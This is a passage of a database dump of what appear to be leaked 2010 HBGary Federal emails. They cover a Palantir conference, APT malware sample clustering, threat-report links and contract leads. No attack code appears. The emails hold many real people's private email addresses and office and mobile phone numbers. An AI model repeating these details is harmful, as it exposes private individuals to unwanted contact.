\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Fri, Sep 17, 2010 at 6:56 PM\r\n> Subject: Malware presentation at Palantir GovCon\r\n> To: Aaron Zollman \r\n> Cc: Barr Aaron , mark@hbgary.com\r\n> \r\n> \r\n> Hi Aaron,\r\n> \r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n> \r\n> Hope you have a nice weekend!\r\n> Ted\r\n> \r\n> \r\n> \r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  |\r\nMobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',3010,'aaron_hbgary_com/3010.html'),(12562,'2010-10-04','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009297.M246293P14101Q7417.eml','\"Aaron Barr\" <aaron@hbgary.com>','slides & collateral','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAttachments:\r\n\r\n&nbsp;\r\n\r\nDraft 2 slides\r\n\r\nGumblar screenshot in case we want to incorporate any of it\r\ninto the threat analysis portion of the demo.\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7062,'aaron_hbgary_com/7062.html'),(12563,'2010-10-04','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297009297.M715194P14101Q7418.eml','\"Paul Rooney\" <prooney3@csc.com>,aaron@hbgary.com','Lunch with Aaron Barr - Houlihans - rt. 103 and 175','\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com',5417,'aaron_hbgary_com/5417.html'),(12564,'2010-10-04','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297009297.M951653P14101Q7419.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Checking in','\r\n\r\nChecking in\r\n\r\n\r\nHi guys &#8211; any news on COIN? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',15674,'aaron_hbgary_com/15674.html'),(12565,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009298.M187470P14101Q7420.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Checking in','Talked with John this morning.  They are now under a vow of silence.  But did say 2 RFPs coming out, one for it dev and one for moe and infrastructure.  Not sure when.  I need to get some paperwork back to him and talk to CO, a Jason somebody.\r\n\r\nAaron\r\nFrom my iPhoneOn Oct 4, 2010, at 12:25 PM, Tim Riesen &lt;tjriesen@archimedesglobal.com&gt; wrote:\r\n\r\nHi guys – any news on COIN? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',15409,'aaron_hbgary_com/15409.html'),(12566,'2010-10-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009298.M422796P14101Q7421.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','RE: Partner Booth Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure let Deeann know wht you need\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 7:32 PM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan I get a bit of the booth material for this conference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods &lt;dwoods@palantir.com&gt;\r\nTo: Dan Woods &lt;dwoods@palantir.com&gt;\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6 Partner Booth\r\nPresenters:\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which should answer all\r\nyour logistical questions about the upcoming conference. &nbsp;You can write me\r\nwith any questions.\r\n\r\nSee you soon!\r\n\r\n-Dan\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; |\r\n650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1185,'aaron_hbgary_com/1185.html'),(12567,'2010-10-04','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297009298.M660180P14101Q7422.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Checking in','Awesome.  Thanks.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 4 Oct 2010 12:38:46 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: Checking inTalked with John this morning.  They are now under a vow of silence.  But did say 2 RFPs coming out, one for it dev and one for moe and infrastructure.  Not sure when.  I need to get some paperwork back to him and talk to CO, a Jason somebody.\r\n\r\nAaron\r\nFrom my iPhoneOn Oct 4, 2010, at 12:25 PM, Tim Riesen &lt;tjriesen@archimedesglobal.com&gt; wrote:\r\n\r\nHi guys – any news on COIN? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10573,'aaron_hbgary_com/10573.html'),(12568,'2010-10-04','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009298.M885437P14101Q7423.eml','\"Inc. HBGARY\" <All@hbgary.com>','Reminder QB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning to al,\r\n\r\n&nbsp;\r\n\r\nPlease enter all time in QB.&nbsp; Payday is Friday.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13610,'aaron_hbgary_com/13610.html'),(12569,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009299.M523694P14101Q7424.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Consulting / Support?','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Oct 4, 2010 at 11:11 AM\r\nSubject: Consulting / Support?\r\nTo: \"Hill, Lawrence C (TASC Inc)\" \r\n\r\n\r\nHi Lawrence,\r\n\r\nThings continue to crawl at the Govt\'s pace and I find myself once\r\nagain struggling to make payroll.  We have many things in the\r\npipeline, but awards keep slipping to the right.  If you have any work\r\nthat myself, Aaron, or Mark Trynor could help with, it would be\r\ngreatly appreciated.  Aaron is working with Mark Leary to see if TASC\r\nwould be interested in providing their employees our Social Media &\r\nInformation Reconnaissance training (see attached).  Any ideas, leads,\r\nor advice would be welcomed!\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6506,'aaron_hbgary_com/6506.html'),(12570,'2010-10-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009299.M887280P14101Q7425.eml','tjriesen@archimedesglobal.com,\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo I&#8217;m hearing don&#8217;t hold your breath.&nbsp; Thanks\r\nfor the info.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\ntjriesen@archimedesglobal.com [mailto:tjriesen@archimedesglobal.com] \r\nSent: Monday, October 04, 2010 12:49 PM\r\nTo: Aaron Barr\r\nCc: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAwesome. Thanks. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Mon, 4 Oct 2010 12:38:46 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Christopher\r\nClair&lt;christopher.clair@tasc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTalked with John this morning. &nbsp;They are now under a\r\nvow of silence. &nbsp;But did say 2 RFPs coming\r\nout, one for it dev and one for moe and infrastructure. &nbsp;Not sure when.\r\n&nbsp;I need to get some paperwork back to him and talk to CO, a Jason somebody.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 12:25 PM, Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi guys &#8211; any news on COIN? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2602,'aaron_hbgary_com/2602.html'),(12571,'2010-10-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009300.M121412P14101Q7426.eml','brian_christos@yahoo.com,\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com','Malware RE','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe would like that name for the malware RE in your area.\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3091,'aaron_hbgary_com/3091.html'),(12572,'2010-10-04','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297009300.M342030P14101Q7427.eml','aaron@hbgary.com','Refer Regus and win!','\r\n\r\n\r\n\r\nRegus\r\n\r\n \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          Having\r\n              trouble viewing this e-mail? See it online.\r\nPlease add email@regusworldwide.com to your address book.\r\n          &nbsp;\r\n          \r\n          &nbsp;\r\n        \r\n        \r\n          \r\n          \r\n          \r\n          \r\n        \r\n      \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      &nbsp;\r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                          Refer\r\n                                your friends to Regus and you could win an Apple\r\n                                gift card.\r\n                          &nbsp;\r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Get a $200 Apple gift card for every referral who becomes a Regus client.* The more friends you refer, the more gift cards you get. It&#8217;s that easy.\r\n                  \r\n                  Refer\r\n                  a friend today at regus.com/referral.\r\n                    \r\n                    \r\n                      &nbsp;\r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                    \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      &nbsp;\r\n                        1-800-OFFICES (633-4237)\r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n            \r\n          \r\n        \r\n      \r\n        \r\n          \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n            *Valid\r\n                  at participating locations in the United States and Canada.\r\n                  The referral (an unrelated third party) must sign a new 12-month\r\n                  (minimum) Virtual Office agreement, a 6-month (minimum) Office\r\n                  agreement, a businessworld Platinum, or businessworld PlatinumPlus\r\n                  membership on or before December 31, 2010, in order for the\r\n                  Apple gift card ($200 value) to be received. Optional reward,\r\n                  in lieu of the Apple gift card: a $200 American Express Gift\r\n                  Card. Offer does not apply to Mailbox Plus, Phone Answering\r\n                  Service, renewals, or same company name expansions. Not applicable\r\n                  for broker referrals or deals. All participants (referring\r\n                  client and referred client) must be in good standing with Regus\r\n                  and cannot be in default of any agreement with Regus at any\r\n                  location. Regus reserves the right to amend the terms and conditions\r\n              of this program.\r\n                  \r\n                Promotion dates: October 1, 2010 &#8211; December\r\n                31, 2010\r\n                \r\n                \r\n              Regus\r\n                Group plc and its subsidiaries (&#8220;Regus Group&#8221;) respect\r\n                your privacy and are committed to protecting it. If you no longer\r\n                wish to receive our promotional communications, you may change\r\n                your requirements by clicking update profile. You can find out more by reading our privacy\r\n                  policy.\r\nRegus\r\n                plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449\r\n                Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22\r\n                Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands\r\n            Jersey Registered Number: 101523.\r\n            \r\n          \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',664,'aaron_hbgary_com/664.html'),(12573,'2010-10-04','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009300.M558473P14101Q7428.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: EXTERNAL:Bizdev question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ross, Doug\r\n[mailto:doug.ross@westernsouthernlife.com] \r\nSent: Friday, August 13, 2010 4:21 PM\r\nTo: Masterson, Brian M (XETRON); Thompson, Bill (XETRON)\r\nSubject: EXTERNAL:Bizdev question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nQuestion:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare strongly considering a network strategy and architecture consulting\r\nengagement.&nbsp; This would entail taking a look at our existing network\r\narchitecture, comparing it to where we want to be, and then offering us a\r\nroadmap so that we can get there in digestible chunks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nkinds of things that we would include in the study (some of which are in place,\r\nbut are fair game for re-design):\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\n802.1X\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nNetwork segmentation and security zones\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nNAC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nDMZ re-design\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nFirewalls (internal, external, partners)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nPCI/DSS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nVoIP security\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nVMware and virtual switching\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nConventional network protection (IPS, IDS, proxies, acceptable use filtering,\r\netc.)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nIntegration with directory services/identity management\r\n\r\n\r\n\r\n&nbsp;*\r\nIntegration with SEIM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthis the kind of thing that NGC (either NGX, ES or outside ES) would have\r\ninterest and expertise in?&nbsp; If not, would you have a recommendation as to\r\nan external partner?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nmuch, Doug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16896,'aaron_hbgary_com/16896.html'),(12574,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009300.M768114P14101Q7429.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EXTERNAL:Bizdev question','From my iPhoneBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: October 4, 2010 2:06:45 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: FW: EXTERNAL:Bizdev question\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ross, Doug\r\n[mailto:doug.ross@westernsouthernlife.com] \r\nSent: Friday, August 13, 2010 4:21 PM\r\nTo: Masterson, Brian M (XETRON); Thompson, Bill (XETRON)\r\nSubject: EXTERNAL:Bizdev question\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nQuestion:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare strongly considering a network strategy and architecture consulting\r\nengagement.  This would entail taking a look at our existing network\r\narchitecture, comparing it to where we want to be, and then offering us a\r\nroadmap so that we can get there in digestible chunks.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe\r\nkinds of things that we would include in the study (some of which are in place,\r\nbut are fair game for re-design):\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n *\r\n802.1X\r\n\r\n\r\n\r\n\r\n\r\n *\r\nNetwork segmentation and security zones\r\n\r\n\r\n\r\n\r\n\r\n *\r\nNAC\r\n\r\n\r\n\r\n\r\n\r\n *\r\nDMZ re-design\r\n\r\n\r\n\r\n\r\n\r\n *\r\nFirewalls (internal, external, partners)\r\n\r\n\r\n\r\n\r\n\r\n *\r\nPCI/DSS\r\n\r\n\r\n\r\n\r\n\r\n *\r\nVoIP security\r\n\r\n\r\n\r\n\r\n\r\n *\r\nVMware and virtual switching\r\n\r\n\r\n\r\n\r\n\r\n *\r\nConventional network protection (IPS, IDS, proxies, acceptable use filtering,\r\netc.)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n *\r\nIntegration with directory services/identity management\r\n\r\n\r\n\r\n *\r\nIntegration with SEIM\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthis the kind of thing that NGC (either NGX, ES or outside ES) would have\r\ninterest and expertise in?  If not, would you have a recommendation as to\r\nan external partner?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nmuch, Doug\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5505,'aaron_hbgary_com/5505.html'),(12575,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009301.M223764P14101Q7430.eml','\"Barr Aaron\" <aaron@hbgary.com>','Screenshot','-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8376,'aaron_hbgary_com/8376.html'),(12576,'2010-10-04','\"Dan Woods\" <dwoods@palantir.com>','/aaron@hbgary.com/new/1297009301.M475824P14101Q7431.eml','\"Dan Woods\" <dwoods@palantir.com>','RE: Partner Booth Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6 Partner Booth\r\nPresenters:\r\n\r\n&nbsp;\r\n\r\nAdditionally, make sure your\r\nattendees are registered for the event.&nbsp; Attendee information, including\r\nregistration, is available at http://www.palantir.com/government/conference.\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods \r\nSent: Friday, October 01, 2010 2:03 PM\r\nTo: Dan Woods\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGovCon6 Partner Booth Presenters:\r\n\r\n&nbsp;\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which\r\nshould answer all your logistical questions about the upcoming\r\nconference.&nbsp; You can write me with any questions.\r\n\r\n&nbsp;\r\n\r\nSee you soon!\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com\r\n| 650.248.1909\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3107,'aaron_hbgary_com/3107.html'),(12577,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009301.M723514P14101Q7432.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Some links to HKI*.exe','http://www.antivirus365.org/PCAntivirus/12473.html\r\n\r\nhttp://www.threatexpert.com/report.aspx?md5=08a4615030a19708fc04e4f86d95b367 - chosen because of filesize match \"71,170 bytes\"\r\n\r\nhttp://www.prevx.com/filenames/2450161571264251-X1/HKI103448.EXE.html\r\n\r\nhttp://www.prevx.com/filenames/2450161571264251-X1/HKI103448.EXE.html -  maybe the first found sample (June 17th).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6442,'aaron_hbgary_com/6442.html'),(12578,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009301.M948807P14101Q7433.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Soysauce clusters','Greg,\r\n\r\nI searched through the volumes of information you sent me and can\'t find any details on URLs, IPs, or other social media data.  If you have some that would be great.  Otherwise I will try to dig out some myself based on some of the information you have provided.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 30, 2010, at 6:08 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron,\r\n>  \r\n> Martin clustered your soysauce bins.  See attached graph for an annotated version that is good for slideshow.\r\n>  \r\n> What I find interesting is the large collection of soysauce bianries that live in the same community with PoisonIvy, Pinch, and a few other bot kits.  Then, there are three outlier clusters that have nothing to do with that community.  This shows how APT will use multiple different malware kits & components to lower the risk of wholesale detection.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',4401,'aaron_hbgary_com/4401.html'),(12579,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009302.M148897P14101Q7434.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Screenshot','I don\'t see admin or tmc under my login?\r\n\r\nAaron\r\n\r\nOn Oct 4, 2010, at 2:20 PM, Ted Vera wrote:\r\n\r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',15853,'aaron_hbgary_com/15853.html'),(12580,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009302.M361711P14101Q7435.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Screenshot','Try it again now, I just changed your perms.  Mark has a second node\r\nup and running - and it seems to be working.  We now have one server\r\nand two clients.\r\n\r\ntv\r\n\r\nOn Mon, Oct 4, 2010 at 1:30 PM, Aaron Barr  wrote:\r\n> I don\'t see admin or tmc under my login?\r\n>\r\n> Aaron\r\n>\r\n> On Oct 4, 2010, at 2:20 PM, Ted Vera wrote:\r\n>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12038,'aaron_hbgary_com/12038.html'),(12581,'2010-10-04','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','/aaron@hbgary.com/new/1297009302.M582149P14101Q7436.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The job market and other stuff','Hi Aaron,Let me know what you&#39;ve got going on the next couple weeks.  Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\nOn Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Chris,Anytime.  I had fun.I would like to talk some more.  I get back the week of the 4th.  Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n\r\nAaronOn Sep 